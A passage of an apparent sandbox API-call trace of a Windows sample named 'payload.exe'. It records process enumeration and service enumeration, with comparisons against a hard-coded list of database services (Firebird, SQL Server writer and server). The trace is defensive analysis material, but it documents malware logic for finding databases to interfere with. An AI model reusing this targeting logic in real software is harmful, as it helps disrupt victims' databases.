dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0043.465] lstrlenW (lpString="taskhostw.exe") returned 13 [0043.465] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0043.465] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0043.465] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0043.466] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0043.466] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0043.467] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0043.467] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaverfireplacesubdivision.exe")) returned 1 [0043.468] lstrlenW (lpString="screensaverfireplacesubdivision.exe") returned 35 [0043.468] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arcobviously.exe")) returned 1 [0043.560] lstrlenW (lpString="arcobviously.exe") returned 16 [0043.560] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="preston disciplines.exe")) returned 1 [0043.561] lstrlenW (lpString="preston disciplines.exe") returned 23 [0043.561] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss.exe")) returned 1 [0043.561] lstrlenW (lpString="boss.exe") returned 8 [0043.561] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsimember.exe")) returned 1 [0043.562] lstrlenW (lpString="organizingscsimember.exe") returned 24 [0043.562] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing.exe")) returned 1 [0043.578] lstrlenW (lpString="placing.exe") returned 11 [0043.578] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="heroes.exe")) returned 1 [0043.579] lstrlenW (lpString="heroes.exe") returned 10 [0043.579] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understoodaffectingbuddy.exe")) returned 1 [0043.580] lstrlenW (lpString="understoodaffectingbuddy.exe") returned 28 [0043.580] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="requirement moments.exe")) returned 1 [0043.581] lstrlenW (lpString="requirement moments.exe") returned 23 [0043.581] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sugar.exe")) returned 1 [0043.581] lstrlenW (lpString="sugar.exe") returned 9 [0043.581] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademexicanvolkswagen.exe")) returned 1 [0043.582] lstrlenW (lpString="blademexicanvolkswagen.exe") returned 26 [0043.582] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charity aging tracked.exe")) returned 1 [0043.583] lstrlenW (lpString="charity aging tracked.exe") returned 25 [0043.583] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="genealogy.exe")) returned 1 [0043.713] lstrlenW (lpString="genealogy.exe") returned 13 [0043.713] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers_indication_wage.exe")) returned 1 [0043.713] lstrlenW (lpString="movers_indication_wage.exe") returned 26 [0043.713] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine-keyboard.exe")) returned 1 [0043.714] lstrlenW (lpString="determine-keyboard.exe") returned 22 [0043.714] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure.exe")) returned 1 [0043.724] lstrlenW (lpString="expenditure.exe") returned 15 [0043.725] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="patents-compiler-transportation.exe")) returned 1 [0043.725] lstrlenW (lpString="patents-compiler-transportation.exe") returned 35 [0043.725] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0043.726] lstrlenW (lpString="upgrading.exe") returned 13 [0043.726] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conservative.exe")) returned 1 [0043.727] lstrlenW (lpString="conservative.exe") returned 16 [0043.727] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="enrollment wrist tired.exe")) returned 1 [0043.728] lstrlenW (lpString="enrollment wrist tired.exe") returned 26 [0043.728] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="partybloodpopularity.exe")) returned 1 [0043.728] lstrlenW (lpString="partybloodpopularity.exe") returned 24 [0043.728] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="labor-perhaps-sentences.exe")) returned 1 [0043.729] lstrlenW (lpString="labor-perhaps-sentences.exe") returned 27 [0043.869] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gods violations duke.exe")) returned 1 [0043.870] lstrlenW (lpString="gods violations duke.exe") returned 24 [0043.870] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0043.871] lstrlenW (lpString="dllhost.exe") returned 11 [0043.871] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0043.871] lstrlenW (lpString="conhost.exe") returned 11 [0043.871] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfcc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0043.872] lstrlenW (lpString="conhost.exe") returned 11 [0043.872] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0043.873] lstrlenW (lpString="payload.exe") returned 11 [0043.873] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0043.874] lstrlenW (lpString="cmd.exe") returned 7 [0043.874] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0043.875] lstrlenW (lpString="conhost.exe") returned 11 [0043.875] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0043.875] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0043.875] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf08, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0043.876] lstrlenW (lpString="conhost.exe") returned 11 [0043.876] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf08, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0043.877] CloseHandle (hObject=0x31c) returned 1 [0043.877] Sleep (dwMilliseconds=0x1f4) [0044.502] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6cee58 [0044.503] EnumServicesStatusExW (in: hSCManager=0x6cee58, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0 [0044.503] GetLastError () returned 0xea [0044.503] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1c1c) returned 0x3d0d288 [0044.503] EnumServicesStatusExW (in: hSCManager=0x6cee58, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3d0d288, cbBufSize=0x1c1c, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3d0d288, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1 [0044.504] CloseServiceHandle (hSCObject=0x6cee58) returned 1 [0044.504] lstrlenW (lpString="Appinfo") returned 7 [0044.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0044.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0044.504] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0044.504] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0044.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0044.504] lstrlenW (lpString="AppXSvc") returned 7 [0044.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0044.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0044.504] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0044.504] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0044.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0044.504] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0044.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0044.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0044.505] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0044.505] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0044.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0044.505] lstrlenW (lpString="Audiosrv") returned 8 [0044.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0044.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0044.505] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0044.505] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0044.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0044.505] lstrlenW (lpString="BFE") returned 3 [0044.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0044.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0044.505] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0044.505] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0044.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0044.505] lstrlenW (lpString="BITS") returned 4 [0044.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0044.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0044.505] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0044.505] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0044.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0044.505] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0044.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0044.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0044.506] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0044.506] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0044.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0044.506] lstrlenW (lpString="CDPSvc") returned 6 [0044.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0044.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0044.506] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0044.506] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0044.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0044.506] lstrlenW (lpString="ClickToRunSvc") returned 13 [0044.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0044.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0044.506] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0044.506] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0044.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0044.506] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0044.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0044.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0044.506] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0044.506] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0044.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0044.506] lstrlenW (lpString="CryptSvc") returned 8 [0044.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0044.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0044.506] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0044.506] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0044.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0044.506] lstrlenW (lpString="DcomLaunch") returned 10 [0044.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0044.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0044.506] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0044.506] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0044.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0044.506] lstrlenW (lpString="DeviceAssociationService") returned 24 [0044.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0044.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0044.507] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0044.507] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0044.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0044.507] lstrlenW (lpString="Dhcp") returned 4 [0044.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0044.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0044.507] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0044.507] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0044.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0044.507] lstrlenW (lpString="Dnscache") returned 8 [0044.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0044.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0044.507] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0044.507] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0044.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0044.507] lstrlenW (lpString="DoSvc") returned 5 [0044.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0044.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0044.507] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0044.507] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0044.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0044.507] lstrlenW (lpString="DPS") returned 3 [0044.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0044.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0044.507] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0044.507] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0044.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0044.507] lstrlenW (lpString="DusmSvc") returned 7 [0044.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0044.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0044.507] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0044.507] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0044.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0044.507] lstrlenW (lpString="EventLog") returned 8 [0044.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0044.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0044.508] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0044.508] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0044.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0044.508] lstrlenW (lpString="EventSystem") returned 11 [0044.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0044.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0044.508] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0044.508] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0044.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0044.508] lstrlenW (lpString="FontCache") returned 9 [0044.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0044.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0044.508] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0044.508] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0044.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0044.508] lstrlenW (lpString="gpsvc") returned 5 [0044.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0044.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0044.508] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0044.508] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0044.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0044.508] lstrlenW (lpString="iphlpsvc") returned 8 [0044.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0044.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0044.508] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0044.508] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0044.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0044.508] lstrlenW (lpString="KeyIso") returned 6 [0044.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0044.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0044.508] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0044.508] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0044.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0044.509] lstrlenW (lpString="LanmanServer") returned 12 [0044.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0044.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0044.509] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0044.509] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0044.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0044.509] lstrlenW (lpString="LanmanWorkstation") returned 17 [0044.509] lstrcmpiW 